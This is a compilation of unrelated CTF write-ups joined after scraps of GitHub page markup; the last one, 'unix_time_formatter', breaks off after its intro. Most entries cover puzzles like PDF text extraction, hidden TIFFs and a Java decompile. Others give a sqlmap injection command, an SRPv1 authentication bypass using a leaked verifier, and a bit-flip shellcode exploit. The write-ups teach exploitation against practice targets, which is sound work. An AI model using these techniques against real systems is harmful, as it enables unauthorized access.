<include-fragment src="/TUCTF/write-ups-2015/file-list/master/PlaidCTF/Pwn/fixedpoint"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>fixedpoint-pwn175</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn_175.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Untitled-1.pdf (Misc, 50pts, 286 solves) This PDF has a flag on it, but I can't find it... can you?
In this task we were given a pdf file. Running `pdftotext untitled.pdf` gave us flag. |
# Vertinet
This problem follows the same specifications as the previous [Verticode](https://github.com/n00bsb/sctf/tree/master/2016q1/Verticode), except that you have to solve many of them by developing a client to communicate with the server available at `problems1.2016q1.sctf.io:50000`. Good luck.
# client.sh## Running
`chmod +x client.sh`
then
`socat TCP4:problems1.2016q1.sctf.io:50000 EXEC:/full/path/to/client.sh,fdin=3,fdout=4`
Maybe you'll need to install `socat`first |
#Rain Or Shine
This one we couldn't crack in time, mostly because I first found a JPEG signature which turned out to be just the thumbnail of the original image, what cost us a lot of time, and also because GIMP wouldn't open layered TIFFs.
Because of this, we spent a lot of time trying to manually reassemble the QR Code, which was impossible since there were overlayed layers.
By the time I got access to a friend with Photoshop, the challenge was ended.
Cutting to the chase: Open the `rain.wav` file in your favourite hex editor (mine is bless). Keep digging until you find a TIFF header:
**49492a0008**
So what we'll have to do is cut the file from this header until the end:
`xxd -p rain.wav | tr -d '\n' | grep -Eo "49492a0008[0-9a-f]*" | xxd -r -p > file.tiff`
and then open it with Photoshop (GIMP apparently has some issues managing layered TIFFs), where you can see four layers and easily rearrange them.
The result is a QRCode that you could read with your phone or using zbar-tools |
# VerticodeWelcome to Verticode, the new method of translating text into vertical codes.
Each verticode has two parts: the color shift and the code.
The code takes the inputted character and translates it into an ASCII code, and then into binary, then puts that into an image in which each black pixel represents a 1 and each white pixel represents a 0.
For example, A is 65 which is 1000001 in binary, B is 66 which is 1000010, and C is 67 which is 1000011, so the corresponding verticode would look like this.
Except, it isn't that simple.
A color shift is also integrated, which means that the color before each verticode shifts the ASCII code, by adding the number that the color corresponds to, before translating it into binary. In that case, the previous verticode could also look like this.
The table for the color codes is:
| Value | Color || ----- | ----- || 0 | Red || 1 | Purple || 2 | Blue || 3 | Green || 4 | Yellow || 5 | Orange |
This means that a red color shift for the letter A, which is 65 + 0 = 65, would translate into 1000001 in binary; however, a green color shift for the letter A, which is 65 + 3 = 68, would translate into 1000100 in binary.
Given this verticode, read the verticode into text and find the flag.
Note that the flag will not be in the typical sctf{flag} format, but will be painfully obvious text. Once you find this text, you will submit it in the sctf{text} format. So, if the text you find is adunnaisawesome, you will submit it as sctf{adunnaisawesome}.
# decode.sh## Running:`chmod +x decode.sh`then`./decode.sh code1.png`
Sorry about the great number of temporary files, but I did this step by step on the shell :) |
# IWCTF 2016 - Code - A numbers game II - 70 pts
> Description: Math is used in cryptography, but someone got this wrong. Can you still solve the equations? Hint: You need to encode your answers.>> Attachment: [code70.zip](code70.zip)>> Service: 188.166.133.53:11071
# Write-up
Another equation solver challenge, but this time the service has some cryptic output:
```shell$ nc 188.166.133.53 11071Hi, I like math and cryptography. Can you talk to me?!Level 1.: 4.4.5.3.3.3.3.3.3.3.5.6.3.3.3.3.3.4.3.4.3.4.4.4.3.3.3.3.3.4.6.4.3.3.3.3.3.4.3.6.3.4.4.3```
A look at the README.txt in the attachment reveals the encoding method of the service:
```pythondef encode(self, eq): out = [] for c in eq: q = bin(self._xor(ord(c),32)).lstrip("0b") q = "0" * ((8)-len(q)) + q out.append(q) b = ''.join(out) pr = [] for x in range(0,len(b),2): c = chr(int(b[x:x+2],2)+51) pr.append(c) s = '.'.join(pr) return s```
The first loop takes every char of the equation, xor's it with 32, converts it to binary representation and appends it to a resulting string.
The next loop then takes every 2 bits from the result, converts it back to an integer, adds 51 to it and converts it back to a character. Since 51 is the ascii value of '3', this will result in possible values '3', '4', '5' and '6'. Those values will then be concatenated again with a '.' as delimeter.
Well, that explains the numbers in the equation and luckily can easily be reversed:
```pythondef decode(self, eq): result = ""
# split all numbers by '.' parts = eq.split('.') out = ""
for part in parts: # convert back to binary representation (2 bits) q = bin(int(part)-3).lstrip("0b") q = q.zfill(2) # fill up, for 00 and 01 out += q
# take every 8 bits in the string, convert them back to int, xor with 32 and back to char for i in range(0, len(out),8): test = "0b"+out[i:i+8] result += chr(self._xor(int(test,2),32))
return result```
Applying this decode method to the service message results in an equation again:
`x + 15 = 34`
So, we can reuse the code from numbers game to solve the equation and send the result back to the server (since the server likes cryptography so much, we'll have to encode the response also first).
```shell$ python solve.py Hi, I like math and cryptography. Can you talk to me?!
Level 1.: 4.4.5.3.3.3.3.3.3.3.6.4.3.3.3.3.3.4.3.4.3.4.4.6.3.3.3.3.3.4.6.4.3.3.3.3.3.3.6.4.3.4.4.3
Level : 1Question : 4.4.5.3.3.3.3.3.3.3.6.4.3.3.3.3.3.4.3.4.3.4.4.6.3.3.3.3.3.4.6.4.3.3.3.3.3.3.6.4.3.4.4.3
Result : 13Response : Yay, that's right!
Level 2.: 4.4.5.3.3.3.3.3.3.3.6.4.3.3.3.3.3.4.4.4.3.3.3.3.3.4.6.4.3.3.3.3.3.4.3.5.3.4.4.6
Level : 2Question : 4.4.5.3.3.3.3.3.3.3.6.4.3.3.3.3.3.4.4.4.3.3.3.3.3.4.6.4.3.3.3.3.3.4.3.5.3.4.4.6
Result : 32Response : Yay, that's right!
[SNIP]
Level 100.: 4.4.5.3.3.3.3.3.3.3.5.5.3.3.3.3.3.4.3.4.3.4.4.4.3.4.4.6.3.4.3.4.3.3.3.3.3.4.6.4.3.3.3.3.3.4.3.6.3.4.3.4.3.4.3.6.3.4.5.3.3.4.5.3.3.4.4.4.3.4.5.3
Level : 100Question : 4.4.5.3.3.3.3.3.3.3.5.5.3.3.3.3.3.4.3.4.3.4.4.4.3.4.4.6.3.4.3.4.3.3.3.3.3.4.6.4.3.3.3.3.3.4.3.6.3.4.3.4.3.4.3.6.3.4.5.3.3.4.5.3.3.4.4.4.3.4.5.3
Result : 1998Response : Yay, that's right!
IW{Crypt0_c0d3}``` |
# tonnerreThere are two phases to this problem: a SQL injection to recover some data, and an attack on [SRPv1](https://en.wikipedia.org/wiki/Secure_Remote_Password_protocol) that relies on the recovered data.
## SQL InjectionWe are given a [website](http://tonnerre.pwning.xxx:8560/) with a username and password login form. Initial tests confirm that both fields are injectable. We'll let [sqlmap](http://sqlmap.org) do all the heavy lifting:
```python sqlmap.py -u "http://tonnerre.pwning.xxx:8560/login.php" --method POST --data "username=asdjf&password=asdjf" -p "username" --dump```
sqlmap then dumps the contents of the database which consist of two tables. The first table `admin_users` contains just two columns:
```pass | user------------------------------------+-------adminpasswordbestpasswordmostsecure | admin```
We can use this password to login to the website, but we just get this message:
> Authentication successful for user admin! However, administration is disabled right now due to ongoing hacking attempts. Check again later.
The second table, `users`, is more interesting. It too has only one row, with 3 columns corresponding to the salt, user, and verifier:
```salt: d14058efb3f49bd1f1c68de447393855e004103d432fa61849f0e5262d0d9e8663c0dfcb877d40ea6de6b78efd064bdd02f6555a90d92a8a5c76b28b9a785fd861348af8a7014f4497a5de5d0d703a24ff9ec9b5c1ff8051e3825a0fc8a433296d31cf0bd5d21b09c8cd7e658f2272744b4d2fb63d4bccff8f921932a2e81813user: get_flagverifier: ebedd14b5bf7d5fd88eebb057af43803b6f88e42f7ce2a4445fdbbe69a9ad7e7a76b7df4a4e79cefd61ea0c4f426c0261acf5becb5f79cdf916d684667b6b0940b4ac2f885590648fbf2d107707acb38382a95bea9a89fb943a5c1ef6e6d064084f8225eb323f668e2c3174ab7b1dbfce831507b33e413b56a41528b1c850e59```We'll need this data for the second part.
## SRP ExploitSecure Remote Password is a protocol that uses a zero knowledge proof to authenticate to a server without the server learning any details about your password. Here's a sketch of the protocol:
* The Client (C) and the Server (S) agree on N, a safe prime, and g, a generator in Z_N.* C generates a random salt and picks a password and computes x = SHA256(salt || password), and v = g^x (mod N).* Upon registration to the site, C sends the salt and password to S, which also computes x and v, but then throws the password and x away, keeping only the salt and v.* Upon logging in, C picks a random a in Z_N and computes A = g^a (mod N), sending this to S.* S picks a random b in Z_N, and computes and sends B = v + g^b (mod N) to C.* C computes k = (B - v)^(a + x) = g^(ax + bx) (mod N)* S computes k = (Av)^b = g^(ax + bx) (mod N)* C sends SHA256(k) to S, and S allows C to log in if this matches S's own computation.
That's a lot of math, but the key to the protocol is that the server and client both manage to compute g^(ax + bx) despite neither of them ever sending a, x, or b in the clear. Note that v is known as the verifier, and is equal to the value that we found at the end of the first part.
The exploit is suggested by a certain line present in the server-side code:
```if c in [N-g, N-1, 0, 1, g]: req.sendall('Sorry, not permitted.\n') req.close() return```
At this point in the code, c = Av = g^(a + x). What would go wrong if c = 0? Suppose that a malicious user sends A = 0 in the protocol. Then the user knows that the shared secret k = (Av)^b = 0, so the user would be able to successfully authenticate without knowing the password.
What would go wrong if c = g? This would mean that a = -x + 1, which means that A = g^(-x + 1) = g • v^(-1). In this case the shared secret is k = (Av)^b = g^b, which the malicious user can calculate as B - v.
Both of these attacks are prevented by the code above, but it's presence suggests another attack. What would go wrong if c = g^2? This would mean that a = -x + 2, which means that A = g^(-x + 2) = g^2 • v^(-1). In this case the shared secret is k = (Av)^b = g^(2b), which the malicious user can calculate as (B - v)^2.
In summary, the exploit is as follows:
* Malicious user (M) obtains v somehow* M calculates A = g • v^(-1) (mod N) and sends this to S.* S sends back B* M calculates k = (B - v)^2, and sends SHA256(k) to S.* S accepts this as valid and lets M log in (or in our case, sends back the flag).
The exploit is implemented in `srp_exploit.py`.
Note that this attack only works if the malicious user knows v, the verifier. In this case, we happen to know v because of a database leak. However, since database leaks are [surprisingly common](http://arstechnica.com/gaming/2012/08/hackers-collect-significant-account-details-from-blizzard-servers/), later versions of SRP corrected this vulnerability.
The flag is `PCTF{SrP_v1_BeSt_sRp_c0nf1rm3d}`. |
butterfly=========
This challenge was a "pwnable" worth 150 points:
> Sometimes the universe smiles upon you. And sometimes, well, you just have to roll your sleeves up and do [things yourself](https://github.com/burlingpwn/Writeups/raw/butterfly/PlaidCTF-2016/butterfly/butterfly_33e86bcc2f0a21d57970dc6907867bed). Running at butterfly.pwning.xxx:9999
Writeup by: [brianmwaters](https://github.com/brianmwaters)
Collaborators: [mut3](https://github.com/mut3)
Reversing---------
Running the binary reveals this cryptic prompt:
```brian@katahdin:butterfly$ ./butterfly_33e86bcc2f0a21d57970dc6907867bedTHOU ART GOD, WHITHER CASTEST THY COSMIC RAY?```
When you type something, the program reveals that it calls ```mprotect```:
```brian@katahdin:butterfly$ ./butterfly_33e86bcc2f0a21d57970dc6907867bedTHOU ART GOD, WHITHER CASTEST THY COSMIC RAY?huh?mprotect1: Cannot allocate memorybrian@katahdin:butterfly$```
In case you don't know, ```mprotect``` is a function that changes the read/write/execute permissions of memory mappings, similarly to Unix file permissions. So far, so good.
Looking at the disassembly, ```main``` does a bounded read from ```stdin``` to a buffer at the top of the stack, and falls through to the following basic block on success:
``` 4007d8: 48 8d 3c 24 lea rdi,[rsp] 4007dc: 31 f6 xor esi,esi 4007de: 31 d2 xor edx,edx 4007e0: e8 6b fe ff ff call 400650 <strtol@plt> 4007e5: 48 89 c3 mov rbx,rax 4007e8: 48 89 dd mov rbp,rbx 4007eb: 48 c1 fd 03 sar rbp,0x3 4007ef: 49 89 ef mov r15,rbp 4007f2: 49 81 e7 00 f0 ff ff and r15,0xfffffffffffff000 4007f9: be 00 10 00 00 mov esi,0x1000 4007fe: ba 07 00 00 00 mov edx,0x7 400803: 4c 89 ff mov rdi,r15 400806: e8 55 fe ff ff call 400660 <mprotect@plt> 40080b: 85 c0 test eax,eax 40080d: 75 5c jne 40086b <main+0xe3>```
There's a few things going on here. First, it's using ```strtol``` to convert the input into a signed integer, doing some funky arithmetic on the result, and using that as the ```address``` argument to a call to ```mprotect``` with ```PROT_READ|PROT_WRITE|PROT_EXEC```. The effect of this is that, if we can account for the arithmetic, we should be able to set some page of memory to have RWX permissions.
I'll spare you the trouble and just tell you up front that the arithmetic is this:
```address = (input >> 3) & 0xfffffffffffff000;```
which is shifting off the 3 least significant bits of the input, and then masking the result to a page boundary. So, if, after the shift, we end up with an address that is in the middle of the page, the mask will give us the page's base address. (This is a pretty standard usage of ```mprotect```, actually.)
The question is, what about those 3 bits that we threw away? The next basic block provides the answer:
``` 40080f: 80 e3 07 and bl,0x7 400812: 41 be 01 00 00 00 mov r14d,0x1 400818: b8 01 00 00 00 mov eax,0x1 40081d: 88 d9 mov cl,bl 40081f: d3 e0 shl eax,cl 400821: 0f b6 4d 00 movzx ecx,BYTE PTR [rbp+0x0] 400825: 31 c1 xor ecx,eax 400827: 88 4d 00 mov BYTE PTR [rbp+0x0],cl 40082a: be 00 10 00 00 mov esi,0x1000 40082f: ba 05 00 00 00 mov edx,0x5 400834: 4c 89 ff mov rdi,r15 400837: e8 24 fe ff ff call 400660 <mprotect@plt> 40083c: 85 c0 test eax,eax 40083e: 75 37 jne 400877 <main+0xef>```
This takes the intermediate result from above (```input >> 3```, just before the mask), and uses it as the address for another funky operation. It will help if we use some variable names. How about```addr = input >> 3;bit = input & 0x7;```
The basic block then does ```*addr ^= bit;```. What this means is that we can flip a single bit at any address in memory, just by providing the right integer as input. The trick is finding the right bit.
The basic block then uses ```mprotect``` to set the page back to RX permissions.
Exploitation------------
Rather than use our brains, we opted to write a script (```brutus.py```) to flip every single bit in the text segment and log the result. The output was a bit hard to parse, so we zeroed in on bits in the two most interesting instructions that occurred after the flip: the calls to ```mprotect``` and ```puts```.
We noticed that when we flipped one of the bits in the second ```mprotect``` call, the program cycled back up to somewhere in the initialization routines, and printed the cryptic message about cosmic rays again. This would allow us to flip more bits. The integer input that caused this to happen was 33571270. Try it yourself!
At this point, we had everything we needed. We grabbed a pretty basic local ```execve``` shellcode off [exploit-db](https://www.exploit-db.com/) and xored it with the beginning of the text segment at ```0x400000```. The 1's in the output were the bits we needed to flip. We also calculated the integer inputs corresponding to these bits.
We also turned a later instruction into a ```jmp 0x400000``` using the same technique. Finally, we needed to undo the loop by un-flipping that original bit, and the program would fall through to our ```jmp``` instruction. Pwnage would be ours!!!
```brian@katahdin:butterfly$ ./exploit.py33571270WAS IT WORTH IT???lsbutterflyflagwrappercat flagPCTF{b1t_fl1ps_4r3_0P_r1t3}^Cbrian@katahdin:butterfly$```
In summary, here's the overall structure of our exploit:- Flip a bit that turns most of ```main()``` into an infinite loop.- Flip all the bits that will transform the start of the text segment into our shellcode.- Flip the bits that will transform a later instruction into a ```jmp``` into the shellcode.- Un-flip the bit that caused the infinite loop.- Capture the flag.
The title---------By the way, in case it wasn't obvious, the reference to cosmic rays in the programs' prompt is referring to the fact that cosmic rays can flip bits inside a computer (that's one reason servers use ECC RAM). Butterfly, though, that's a reference to [this](https://xkcd.com/378/) xkcd comic about programming using butterflies and cosmic rays: ![xkcd comic](https://imgs.xkcd.com/comics/real_programmers.png). |
<h1>angstromCTF 2016 - Java is the Best</h1>Category: Reversing Score: 50<h2>Description</h2>What kind of input makes this program happy?<h2>Solving the challenge</h2><span>I decompiled the .class file with jad</span># jad SuperSecure.class Parsing SuperSecure.class...The class file version is 51.0 (only 45.3, 46.0 and 47.0 are supported) Generating SuperSecure.jad##############################################################################Looking at the decompiled I could read the flag directly.# cat SuperSecure.jad // Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.// Jad home page: http://www.geocities.com/kpdus/jad.html// Decompiler options: packimports(3) // Source File Name: SuperSecure.java
import java.io.PrintStream;
public class SuperSecure{
public SuperSecure() { }
public static void main(String args[]) { if(args[0].charAt(0) == 'd' && args[0].charAt(1) == 'o' && args[0].charAt(2) == 'n' && args[0].charAt(3) == 't' && args[0].charAt(4) == '_' && args[0].charAt(5) == 'u' && args[0].charAt(6) == 's' && args[0].charAt(7) == 'e' && args[0].charAt(8) == '_' && args[0].charAt(9) == 'j' && args[0].charAt(10) == 'a' && args[0].charAt(11) == 'v' && args[0].charAt(12) == 'a' && args[0].charAt(13) == '_' && args[0].charAt(14) == 'i' && args[0].charAt(15) == 'f' && args[0].charAt(16) == '_' && args[0].charAt(17) == 'y' && args[0].charAt(18) == 'o' && args[0].charAt(19) == 'u' && args[0].charAt(20) == '_' && args[0].charAt(21) == 'w' && args[0].charAt(22) == 'a' && args[0].charAt(23) == 'n' && args[0].charAt(24) == 'n' && args[0].charAt(25) == 'a' && args[0].charAt(26) == '_' && args[0].charAt(27) == 'h' && args[0].charAt(28) == 'i' && args[0].charAt(29) == 'd' && args[0].charAt(30) == 'e' && args[0].charAt(31) == '_' && args[0].charAt(32) == 'c' && args[0].charAt(33) == 'o' && args[0].charAt(34) == 'd' && args[0].charAt(35) == 'e') System.out.println("Hooray!"); }}<span>####################################################################################Flag: dont_use_java_if_you_wanna_hide_code</span> |
## Musical Penguins - 45 (Forensics)#### Writeup by cabrodyCreated: 4-18-16
### ProblemThis file is a complete mystery to me, I've never seen notes like these!
### HintMorgan Freeman and Kevin Spacey would have fun with this one!
## AnswerAfter researching the file type that the given file was, I downloaded the required program to view it properlyand was able to see that it was a piece of sheet music with only two alternating notes, in three-measure segments,each separated by a full measure of rest. I did some research on the hint, and found that Morgan Freeman andKevin Spacey were in three movies together, but by far the most popular of the three was Se7en, so I did some researchon that movie and read about its plot. Unfortunately, this research wasn’t very important to the problem. After lookingmore at the music, I realized that if each measure was a letter to a code, then the first letter would be “s” and thethird letter would be “t”, and I noticed that the notes within the first and third measures were different by one note,meaning that it was a code that would probably be a sort of number system, and, realizing the hint was just the number 7,converted each set of three measures into a three-digit number in base 7. For each of the lower notes, that counted asone added to the digit. For example, if a measure read EECCCC, that would denote the number two. After converting eachof these measures into a number in base 7, I converted each to base 10, and then to ASCII, giving me the flag. ### Flag
`sctf{1_u53d_t0_m4k3_mu51c_w1th_th15_4ll_th3_t1m3}` |
# unix_time_formatter### Pwnable (76 pts)
```Converting Unix time to a date is hard, so Mary wrote a tool to do so.
Can you you exploit it to get a shell? Running at unix.pwning.xxx:9999```
Writeup by: [mut3](https://github.com/mut3)
Collaborators: [brianmwaters](https://github.com/brianmwaters), [dillonb](https://github.com/dillonb)
*Disclaimer :We came at this without a really organized process, so take not that most of these discoveries and progressions came with more over caffeinated fiddling and experimenting than this writeup lets on.*
## Intro
For this challenge we were given [this binary](https://github.com/burlingpwn/writeups/tree/master/PlaidCTF-2016/unix_time_formatter/unix_time_formatter_9a0c42cadcb931cce0f9b7a1b4037c6b) which takes a user input date_format, time, & timezone then makes a call to `/bin/date` to print out the input time according to the given format and timezone.
### Normal Run```Welcome to Mary's Unix Time Formatter!1) Set a time format.2) Set a time.3) Set a time zone.4) Print your time.5) Exit.>1Format: %cFormat set.1) Set a time format.2) Set a time.3) Set a time zone.4) Print your time.5) Exit.>2Enter your unix time: 1234567890Time set.1) Set a time format.2) Set a time.3) Set a time zone.4) Print your time.5) Exit.>3Time zone: UTCTime zone set.1) Set a time format.2) Set a time.3) Set a time zone.4) Print your time.5) Exit.>4Your formatted time is: Fri 13 Feb 2009 11:31:30 PM UTC1) Set a time format.2) Set a time.3) Set a time zone.4) Print your time.5) Exit.>5Are you sure you want to exit (y/N)? yOK, exiting.```
## Reversing
The first useful thing we found, after disassembling the binary was the existence of multiple environment checks for a debug flag, called `DEBUG` of course. Here's one of those checks:
